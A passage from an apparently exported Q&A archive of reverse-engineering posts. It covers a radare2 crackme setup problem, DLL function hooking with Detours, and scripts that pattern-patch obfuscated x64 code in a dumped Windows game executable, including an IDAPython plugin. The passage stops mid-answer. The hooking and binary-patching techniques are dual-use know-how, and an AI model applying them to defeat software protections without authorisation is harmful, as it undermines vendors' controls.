LastActivityDate="2016-07-17T15:45:35.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13063" PostTypeId="1" CreationDate="2016-07-17T17:04:32.210" Score="2" ViewCount="206" Body="&lt;p&gt;So I am trying to learn radare2 by following an on-line guide, but from what I have seen there and on other sites, my &lt;code&gt;r2&lt;/code&gt; behavior is wacky. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The author's disassembly looks like &lt;a href=&quot;https://gist.githubusercontent.com/samsymons/e24e0b7ff24a641231bc/raw/6cdfbae632eae76244e0716b3e3ee1f582083b74/crackme0x00a.asm&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;, with neat little arrows and helpful strings that appear to the right of the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My disassembly, however, looks like &lt;a href=&quot;https://imgur.com/fvpgiAn&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;, with strange, fat arrows and and no string comments, which are rather critical for this particular crackme challenge. Instead, I used the &lt;code&gt;iz&lt;/code&gt; command, but the string &lt;code&gt;&quot;g00dJ0B!&quot;&lt;/code&gt; displayed without the &lt;code&gt;!&lt;/code&gt; which is pretty weird and certainly not helpful, because that string is the password I was looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the author gets this output from his memory read:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080483e0]&amp;gt; px @ sym.pass.1964&#xA;offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x0804a040  7700 0000 3000 0000 7700 0000 6700 0000  w...0...w...g...&#xA;0x0804a050  7200 0000 6500 0000 6100 0000 7400 0000  r...e...a...t...&#xA;0x0804a060  0000 0000 4743 433a 2028 5562 756e 7475  ....GCC: (Ubuntu&#xA;0x0804a070  2f4c 696e 6172 6f20 342e 362e 312d 3975  Linaro 4.6.1-9u&#xA;0x0804a080  6275 6e74 7533 2920 342e 362e 3100 002e  buntu3) 4.6.1...&#xA;0x0804a090  7379 6d74 6162 002e 7374 7274 6162 002e  symtab..strtab..&#xA;0x0804a0a0  7368 7374 72                             shstr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...while I get this when using the same command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080483e0]&amp;gt; px @ sym.pass.1964&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x0804a040  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x0804a050  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x0804a060  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x0804a070  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x0804a080  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x0804a090  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x0804a0a0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any help with in resolving these issues very much, thank you!&lt;/p&gt;&#xA;" OwnerUserId="16765" LastEditorUserId="53" LastEditDate="2016-07-18T07:17:43.330" LastActivityDate="2016-07-18T07:17:43.330" Title="My Radare2 Installation Not Working As Expected" Tags="|radare2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13064" PostTypeId="1" CreationDate="2016-07-17T17:37:20.493" Score="0" ViewCount="304" Body="&lt;p&gt;I've been trying to hook a function using Detours 1.5, but when &lt;code&gt;DetourFunction()&lt;/code&gt; is called, it throws access violation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the original function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int greeter(char *name) {&#xA;    printf_s(&quot;%s, %s!\n&quot;, greetings[rand() % ((int) sizeof(greetings) / (int) sizeof(greet_t))], name);&#xA;    int rerun = strcmp(&quot;Gabriel&quot;, name);&#xA;    if (!rerun) printf_s(&quot;Have a nice day!\n&quot;);&#xA;    return rerun;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the program compiled and running properly, I used IDA Pro to see the &lt;a href=&quot;https://gist.github.com/gfreivasc/874fa4e780b06538de35d9c559f74fbe&quot; rel=&quot;nofollow&quot;&gt;trace and found my function&lt;/a&gt; beginning on address &lt;code&gt;0x004010B0&lt;/code&gt;.&#xA;Then I set the variable &lt;code&gt;DWORD orig_greeter = 0x4010B0&lt;/code&gt;. And wrote the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;sky.h&quot;&#xA;&#xA;int myGreeter(char* name);&#xA;int (__cdecl* origGreeter)(char*);&#xA;&#xA;bool __stdcall DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID pvReserved) {&#xA;    if (dwReason == DLL_PROCESS_ATTACH) {&#xA;        // Start Hook Sub-Routine&#xA;        origGreeter = (int (__cdecl*)(char*))DetourFunction((PBYTE)orig_greeter, (PBYTE)myGreeter);&#xA;        origGreeter(&quot;sir&quot;);&#xA;    }   &#xA;    return true;&#xA;}&#xA;&#xA;int myGreeter(char* name) {&#xA;    printf_s(&quot;You've been hooked, %s!&quot;, name);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once DetourFunction tries to access the given offset it throws Access Violation and the function is not hooked. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edits removed. No relevant for the question]&lt;/p&gt;&#xA;" OwnerUserId="16761" LastEditorUserId="16761" LastEditDate="2016-07-17T19:42:12.910" LastActivityDate="2016-10-15T21:23:54.160" Title="Hooking offset from IDA throws Access Violation" Tags="|function-hooking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13065" PostTypeId="2" ParentId="13063" CreationDate="2016-07-17T18:05:20.800" Score="2" Body="&lt;p&gt;I got it! Just needed to re-download using Git because the radare2 in my repos was old. Haha. Alright, happy hacking ladies and gentleman.&lt;/p&gt;&#xA;" OwnerUserId="16765" LastActivityDate="2016-07-17T18:05:20.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13066" PostTypeId="2" ParentId="13064" CreationDate="2016-07-17T19:49:10.257" Score="1" Body="&lt;p&gt;The problem is that I was considering the base address given by IDA Pro instead of process actual base address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IDA Base was &lt;code&gt;0x400000&lt;/code&gt;, thus the offset really was &lt;code&gt;0x10B0&lt;/code&gt;. Once I updated &lt;code&gt;orig_greeter&lt;/code&gt; to this value, I call it as follows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HMODULE hModule = GetModuleHandle(NULL);&#xA;origGreeter = (int (__cdecl*)(char*))DetourFunction((PBYTE)hModule+orig_greeter, (PBYTE)myGreeter);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code itself still doesn't behave as expected, but it detours properly. The callstack showed it called &lt;code&gt;myGreeter&lt;/code&gt; when it was supposed to. Therfore, I consider this question answered.&lt;/p&gt;&#xA;" OwnerUserId="16761" LastActivityDate="2016-07-17T19:49:10.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13068" PostTypeId="1" CreationDate="2016-07-18T00:47:17.707" Score="4" ViewCount="1960" Body="&lt;p&gt;Trying to deobfuscate x64 code. You can skim/skip most of this, since it mainly exists to prove I have tried and exhausted all avenues.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Burning Purpose&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To massively automate the deobfuscation within a [memory dump] of a 64-bit Windows game.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Methods currently in use&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;PCRE driven byte replacement&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Works fine with simple obsfucation like Variant 1 &amp;amp; 2&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Original (Variant 1):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;48 8D 64 24 F8        - lea rsp,[rsp-08]         ; Stack -= 8&#xA;48 89 2C 24           - mov [rsp],rbp            ; Push RBP&#xA;48 8D 2D 156A5A00     - lea rbp,[7FF749022784]   ; Put JMP target in RSP&#xA;48 87 2C 24           - xchg [rsp],rbp           ; Pop RBP (RBP restored)&#xA;48 8D 64 24 08        - lea rsp,[rsp+08]         ; Stack += 8 (Balanced)&#xA;FF 64 24 F8           - jmp qword ptr [rsp-08]   ; JMP (target)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Original (Variant 2):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;48 89 6c 24 f8         - mov [rsp-0x8], rbp&#xA;48 8d 64 24 f8         - lea rsp, [rsp-0x8]&#xA;(rest as per Variant 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Deobsfucated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;90 90 90 .. ..        - (Variant 1: NOP * 9, Variant 2: NOP * 10)&#xA;90 90                   NOP * 2   ; Pad instruction to preserve&#xA;                                  ; RIP of next instruction&#xA;E9 ?? ?? ?? ??        - JMP NEAR &#xA;90 90 90 .. ..        - NOP * 13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;De-obfuscation script:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env sh&#xA;#            |------------- 11 bytes--------| |-- 5 bytes--| |---------------- - 13 bytes---------|     &#xA;# Signature: 48 8D 64 24 F8 48 89 2C 24 48 8D 2D ?? ?? ?? ?? 48 87 2C 24 48 8D 64 24 08 FF 64 24 F8 (29 bytes)&#xA;# Translate: 90 90 90 90 90 90 90 90 90 90 90 E9 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90&#xA;#    &#xA;#            |------------- 12 bytes ----------| |-- 5 bytes--| |---------------- - 13 bytes---------|&#xA;# Signature: 48 89 6c 24 f8 48 8d 64 24 f8 48 8d 2d ?? ?? ?? ?? 48 87 2c 24 48 8d 64 24 08 ff 64 24 f8 (30 bytes)&#xA;# Translate: 90 90 90 90 90 90 90 90 90 90 90 90 e9 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90&#xA;&#xA;xxd -ps Game_Dumped.exe | &#xA;    sed -e 's/\(..\)/\1 /g' | &#xA;    tr '\n' ' '             |&#xA;    perl -p -e &quot;s/48 8d 64 24 f8 48 \&#xA;89 2c 24 48 8d 2d (.. .. .. ..) \&#xA;48 87 2c 24 48 8d 64 24 08 ff 64 24 f8/90 90 90 90 90 \&#xA;90 90 90 90 90 90 e9 \1 90 90 90 90 90 90 90 90 90 90 \&#xA;90 90 90/g ; s/48 89 6c 24 f8 48 8d 64 24 f8 48 8d 2d\&#xA; (.. .. .. ..) 48 87 2c 24 48 8d 64 24 08 ff 64 24 \&#xA;f8/90 90 90 90 90 90 90 90 90 90 90 90 e9 \1 90 90 90 \&#xA;90 90 90 90 90 90 90 90 90 90/g&quot; |&#xA;    xxd -r -ps &amp;gt; Game_Dumped_NOP2.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;The 3rd variety&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;143fe7a26 48 89 6c 24 f8         mov     [rsp-8], rbp&#xA;143fe7a2b 48 8d 64 24 f8         lea     rsp, [rsp-8]&#xA;143fe7a30 e9 60 71 8d ff         jmp     loc_1438beb95&#xA;&#xA;1438beb95 48 8d 2d 10 b0 3a fd   lea     rbp, sub_jump_target&#xA;1438beb9c 48 87 2c 24            xchg    rbp, [rsp]&#xA;1438beba0 48 8d 64 24 08         lea     rsp, [rsp+8]&#xA;1438beba5 ff 64 24 f8            jmp     qword ptr [rsp-8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the same as the Variant 2, except it has been broken into two sections. Planned solution will involve distorm3's flow control flags, and rewriting &lt;code&gt;jmp&lt;/code&gt; to &lt;code&gt;0x143fe7a26&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Variations on stack manipulation&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;48 89 E0             mov     rax, rsp&#xA;48 05 F8 FF FF FF    add     rax, 0FFFFFFFFFFFFFFF8h ; Add&#xA;48 89 C4             mov     rsp, rax&#xA;48 89 1C 24          mov     [rsp], rbx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What a horrifically long way to effect to decrement &lt;code&gt;RSP&lt;/code&gt; by 8.  But by now, I am fairly used to it, and it wouldn't bother me, but I have just enabled the &quot;Stack Pointer&quot; in IDA [6.8]'s General Options, and realising that IDA isn't including &lt;code&gt;lea rsp, [rsp+-8]&lt;/code&gt; in it's calculations of the stack pointer, which is stopping it properly analysing the code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RSP Bytes               Disassembly&#xA;--- ------------------- -------------------------------&#xA;000 48 89 E0            mov     rax, rsp&#xA;000 48 05 F8 FF FF FF   add     rax, 0FFFFFFFFFFFFFFF8h&#xA;000 48 89 C4            mov     rsp, rax ; It tracked this&#xA;-20 48 89 1C 24         mov     [rsp], rbx&#xA;-20 48 83 EC 20         sub     rsp, 20h ; and this&#xA;000 48 8B 41 10         mov     rax, [rcx+10h]&#xA;000 48 89 4C 24 F8      mov     [rsp-8], rcx&#xA;000 48 8D 64 24 F8      lea     rsp, [rsp-8] ; but not this&#xA;000 48 8B 1C 24         mov     rbx, [rsp]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am also starting to suspect that there are going to be many permutations of all these techniques, and I need to start addressing the problem in IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, the &lt;strong&gt;only&lt;/strong&gt; sample source I can find uses IDAPython &lt;em&gt;idaapi&lt;/em&gt; low-level functions, so the code is ridiculously long, and as I am replacing a 5 byte instruction with a 4 byte one, I cannot find a way to alter the operand I have inadvertently created.  (Fortunately, in this case, it's just CLC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update: I have fixed this issue, and the solution has drastically reduced the size of my script.  The pertinent fix is below:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def replace_pattern(ea):&#xA;    search = [0x48, 0x8d, 0x64, 0x24, 0xf8]&#xA;    replace = [0x48, 0x83, 0xec, 0x08, 0x90]&#xA;    current = []&#xA;    for i in xrange(5):&#xA;        current.append(idaapi.get_byte(ea+i))&#xA;    if 0 == cmp(search, current):&#xA;        for i in xrange(5):&#xA;            # fixed: replace put_byte with patch_byte&#xA;            idaapi.patch_byte(ea+i, replace[i])&#xA;        return 1&#xA;    return 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;[original code] Incidentally, the example code was written by our own &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/182/rolf-rolles&quot;&gt;Rolf Rolles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;import idc&#xA;&#xA;# Planned task: replace&#xA;#     48 8d 64 24 f8          lea    rsp,[rsp-0x8]&#xA;# with&#xA;#     48 83 ec 08             sub    rsp,0x8&#xA;#     90                      nop&#xA;#&#xA;# Actual result:&#xA;# Replaced:  48 8d 64 24 f8   lea    rsp,[rsp-0x8]&#xA;# with:   :  48 83 ec 08      sub    rsp,0x8&#xA;#            f8               clc&#xA;#&#xA;# Verdict, close enough, but way too much code involved.&#xA;&#xA;def match_pattern(ea):&#xA;    search = [0x48, 0x8d, 0x64, 0x24, 0xf8]&#xA;    replace = [0x48, 0x83, 0xec, 0x08, 0x90]&#xA;    current = []&#xA;    for i in xrange(5):&#xA;        current.append(idaapi.get_byte(ea+i))&#xA;    if 0 == cmp(search, current):&#xA;        return 1&#xA;    return 0&#xA;&#xA;    # Note: I thought I might be able to simply rewrite&#xA;    #       at a byte level, but it threw an exception.&#xA;    #&#xA;    #    for i in xrange(4):&#xA;    #        idaapi.put_byte(ea+i, replace[i])&#xA;&#xA;class deobfu_hook(idaapi.IDP_Hooks):&#xA;    def __init__(self):&#xA;        idaapi.IDP_Hooks.__init__(self)&#xA;        self.n = idaapi.netnode(&quot;$ X86 Deobfuscator Modifications&quot;,0,1)&#xA;&#xA;    def custom_ana(self):&#xA;        # Check first two bytes &quot;by hand&quot; for speed&#xA;        b = idaapi.get_byte(idaapi.cmd.ea)&#xA;        if b == 0x48: # First byte&#xA;            b = idaapi.get_byte(idaapi.cmd.ea+1)&#xA;            if b == 0x8d: # Second byte&#xA;                # Discard speed, do a full match&#xA;                if match_pattern(idaapi.cmd.ea, 0, 0):&#xA;                    # If matched, supply all required values for &#xA;                    # SUB RSP,8 - Surely there is an easier way!&#xA;                    idaapi.cmd.itype = 0xd1&#xA;                    idaapi.cmd.size = 4&#xA;                    idaapi.cmd.auxpref = 0x1810&#xA;                    idaapi.cmd.segpref = 0&#xA;                    idaapi.cmd.insnpref = 0x48&#xA;                    idaapi.cmd.flags = 2&#xA;&#xA;                    idaapi.cmd.Op1.type = 1&#xA;                    idaapi.cmd.Op1.offb = 0&#xA;                    idaapi.cmd.Op1.offo = 0&#xA;                    idaapi.cmd.Op1.flags = 8&#xA;                    idaapi.cmd.Op1.dtyp = 7&#xA;                    idaapi.cmd.Op1.reg = 4&#xA;                    idaapi.cmd.Op1.phrase = 4&#xA;                    idaapi.cmd.Op1.value = 0&#xA;                    idaapi.cmd.Op1.addr = 0&#xA;                    idaapi.cmd.Op1.specval = 0&#xA;                    idaapi.cmd.Op1.specflag1 = 0&#xA;                    idaapi.cmd.Op1.specflag2 = 0&#xA;                    idaapi.cmd.Op1.specflag3 = 0&#xA;                    idaapi.cmd.Op1.specflag4 = 0&#xA;&#xA;                    idaapi.cmd.Op2.type = 5&#xA;                    idaapi.cmd.Op2.offb = 3&#xA;                    idaapi.cmd.Op2.offo = 0&#xA;                    idaapi.cmd.Op2.flags = 8&#xA;                    idaapi.cmd.Op2.dtyp = 7&#xA;                    idaapi.cmd.Op2.reg = 0&#xA;                    idaapi.cmd.Op2.phrase = 0&#xA;                    idaapi.cmd.Op2.value = 8&#xA;                    idaapi.cmd.Op2.addr = 0&#xA;                    idaapi.cmd.Op2.specval = 0&#xA;                    idaapi.cmd.Op2.specflag1 = 0&#xA;                    idaapi.cmd.Op2.specflag2 = 0&#xA;                    idaapi.cmd.Op2.specflag3 = 0&#xA;                    idaapi.cmd.Op2.specflag4 = 0&#xA;&#xA;                    return True&#xA;        return False&#xA;&#xA;class deobfu_t(idaapi.plugin_t):&#xA;    flags = idaapi.PLUGIN_PROC | idaapi.PLUGIN_HIDE&#xA;    comment = &quot;Deobfuscator&quot;&#xA;    wanted_hotkey = &quot;&quot;&#xA;    help = &quot;Runs transparently&quot;&#xA;    wanted_name = &quot;deobx86&quot;&#xA;    hook = None&#xA;&#xA;    def init(self):&#xA;        self.hook = None&#xA;&#xA;        self.hook = deobfu_hook()&#xA;        self.hook.hook()&#xA;        print(&quot;deobfu init&quot;)&#xA;        return idaapi.PLUGIN_KEEP&#xA;&#xA;    def run(self, arg):&#xA;        pass&#xA;&#xA;    def term(self):&#xA;        print(&quot;deobfu term&quot;)&#xA;        if self.hook:&#xA;            self.hook.unhook()&#xA;&#xA;def PLUGIN_ENTRY():&#xA;    print(&quot;PLUGIN_ENTRY:deobfu&quot;)&#xA;    return deobfu_t()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Where do you want to go today?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I want a better solution, and I am not afraid to code it.  I am how-ever in need of some starting advice, plus I need to make sure I am not re-coding the wheel here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have since written some other IDAPython code using the higher level &lt;strong&gt;idautils&lt;/strong&gt; to create call trees, and collate xrefs and such. But I don't know how to rewrite the actual disassembled code at that level.  There is one example in the IDAPython repo: &lt;a href=&quot;https://github.com/pfalcon/idapython/blob/master/examples/ex_idphook_asm.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/pfalcon/idapython/blob/master/examples/ex_idphook_asm.py&lt;/a&gt; but that's&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Full of silly bugs (I fixed them)&lt;/li&gt;&#xA;&lt;li&gt;Hooks the Assembly command, not the disassembly process&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have reviewed the answer to a similar question at &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1899/creating-ida-pro-debugger-plugins-api-documentation-and-examples&quot;&gt;Creating IDA Pro debugger plugins - API documentation and examples?&lt;/a&gt;.  I have looked at various examples of quite nice IDAPython code that can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://researchcenter.paloaltonetworks.com/2015/12/using-idapython-to-make-your-life-easier-part-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Add comments while disassembling&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://researchcenter.paloaltonetworks.com/2016/01/using-idapython-to-make-your-life-easier-part-4/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Change the line color while disassembling&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But, I have seen nothing about actually changing instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not purchased &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1593272898&quot; rel=&quot;nofollow noreferrer&quot;&gt;The IDA Pro Book&lt;/a&gt; because I do not live in the U.S. and I do not want to wait &lt;strong&gt;&lt;em&gt;n&lt;/em&gt;&lt;/strong&gt; weeks for on-demand printing and delivery. I am not adverse to writing an &lt;code&gt;.idc&lt;/code&gt;, as I'm quite familiar with C (more-so that with Python), although I suspect despite the shallower learning curve (and assumedly ready examples) it would be harder (long term) than using higher level IDAPython code.  (I'm learning Python as I go, but .. well, didn't we all?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the code I am working with is exclusively 64-bit, there is little (basically no) pre-existing deobfu samples or code out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so here I find myself, asking for your patient guidance.  (Very patient if you actually read all of that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PS: I took the time to document everything I had done, because I know how little respect we all have for people who don't even attempt something before hollering for help.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PPS: &lt;strong&gt;OMG&lt;/strong&gt; 2nd most avid member of RE is Igor Skochinsky, I can only bow in humility&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16770" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2017-04-15T06:22:20.610" Title="Automating pattern-based de-obfuscation of x64 code using IDA plugins" Tags="|ida|windows|idapython|deobfuscation|x86-64|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13069" PostTypeId="2" ParentId="13060" CreationDate="2016-07-18T02:36:09.843" Score="1" Body="&lt;p&gt;I would recommend Capstone (www.capstone-engine.org), which is widely used and cross-platform/cross-architecture. It has a very good Python binding, so you can write your script as LLDB plugin or GDB plugin.&lt;/p&gt;&#xA;" OwnerUserId="13881" LastActivityDate="2016-07-18T02:36:09.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13071" PostTypeId="2" ParentId="11621" CreationDate="2016-07-18T03:09:40.437" Score="1" Body="&lt;p&gt;coerce_* functions are generally a little more coercive that a simple casting, I would assume their meaning as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   #define VALUE_SIZE (sizeof(int))&#xA;&#xA;struct VALUE_TYPE {&#xA;    char contents[VALUE_SIZE];&#xA;};&#xA;&#xA;struct VALUE_TYPE COERCE_FLOAT(float arg) {&#xA;    struct VALUE_TYPE rv;&#xA;    memcpy(&amp;amp;arg, rv.contents, sizeof arg);&#xA;    return rv;&#xA;}&#xA;&#xA;struct VALUE_TYPE COERCE_INT(int arg) {&#xA;    struct VALUE_TYPE rv;&#xA;    memcpy(&amp;amp;arg, rv.contents, sizeof arg);&#xA;    return rv;&#xA;}&#xA;&#xA;struct VALUE_TYPE COERCE_UNSIGNED_INT(unsigned int arg) {&#xA;    struct VALUE_TYPE rv;&#xA;    memcpy(&amp;amp;arg, rv.contents, sizeof arg);&#xA;    return rv;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;source: &lt;a href=&quot;https://stackoverflow.com/a/37198532/912236&quot;&gt;https://stackoverflow.com/a/37198532/912236&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for their use may relate to how the ABI passes floats vs how it passes integers.  There is no difference in Windows 32-bit code (either stdcall or cdecl), but in x64 float's and integers are passed in different registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible that those macro may make no difference to compilation of a 32-bit target, and are just there to ensure (or inform the reader/compiler) of the expected type, but that's pure conjecture on my part.&lt;/p&gt;&#xA;" OwnerUserId="16770" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-07-18T03:09:40.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13072" PostTypeId="2" ParentId="13068" CreationDate="2016-07-18T09:47:44.143" Score="1" Body="&lt;p&gt;There are two scenarios to be distinguished, which you (implicitly) mention as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I. Obfuscated pattern with no jmps in between interrupting the control flow,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;II. Obfuscated pattern with interrupting jmps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Definitely there are several possibilities to remove the obfuscation. I will try to describe one of them which I (partly) applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Scenario I&lt;/strong&gt; is straightforward (and with that one I made some successful tries and wrote a program for it):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Identify the pattern &quot;by hand&quot;, write down the bytecode sequence, and write down the - simpler - bytecode replacement.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Read the binary into the own programmed &quot;remove obfuscation&quot; application.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Let the program search for all occurences of the obfuscation bytecode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Let the program replace all found occurrences with the (hopefully simpler) replacement. You might gain a lot of space for possible patches.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Very important: Test the modified (i.e. simplified) program&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Scenario II&lt;/strong&gt; is the more difficult part, as the breaks can show up anywhere and no unique bytecode sequence is possible any more for an obfuscation pattern. I would probably proceed in the following way, however not having tried it yet:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Independent from obfuscation, find a solution to remove the &quot;breaks&quot; in the code, i.e. try to remove the usually many, many useless jmp statements. In case you can solve this, it has the big additional advantage that the code is not broken any more in Ida by the jmps. Maybe there exist already some automated solutions, although presently not known to me.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply Scenario I&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As to my experience, the Scenario I is the lesser frequent case, although having been encountered as well. The following - real - obfuscated x64 code sequence demonstrates the importance of removing the &quot;code breaks&quot;. In this sequence there are no less than six breaks where the program each time jmps between addresses separated far distant from each other.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    loc_startObfuscatedSequence:                        &#xA;                    lea     rsp, [rsp-8]&#xA;                    mov     [rsp], rbp&#xA;                    mov     rbp, offset loc_target1&#xA;                    xchg    rbp, [rsp]    &#xA;                    mov     [rsp-8], rcx&#xA;                    jmp     loc_break1  &#xA;&#xA;    loc_break1:     lea     rsp, [rsp-8]&#xA;                    jmp     loc_break2&#xA;&#xA;    loc_break2:     mov     [rsp-8], rdx&#xA;                    jmp     loc_break3&#xA;&#xA;    loc_break3:     lea     rsp, [rsp-8]&#xA;                    jmp     loc_ break4&#xA;&#xA;    loc_ break4:    mov     rcx, [rsp+10h]&#xA;                    mov     rdx, offset loc_target2&#xA;                    cmovz   rcx, rdx&#xA;                    jmp     loc_break5&#xA;&#xA;    loc_break5:     mov     [rsp+10h], rcx&#xA;                    lea     rsp, [rsp+8]&#xA;                    mov     rdx, [rsp-8]&#xA;                    jmp     loc_break6&#xA;&#xA;    loc_break6:    lea     rsp, [rsp+8]&#xA;                    mov     rcx, [rsp-8]&#xA;                    retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I interpreted this correctly, the obfuscated sequence is a replacement for the 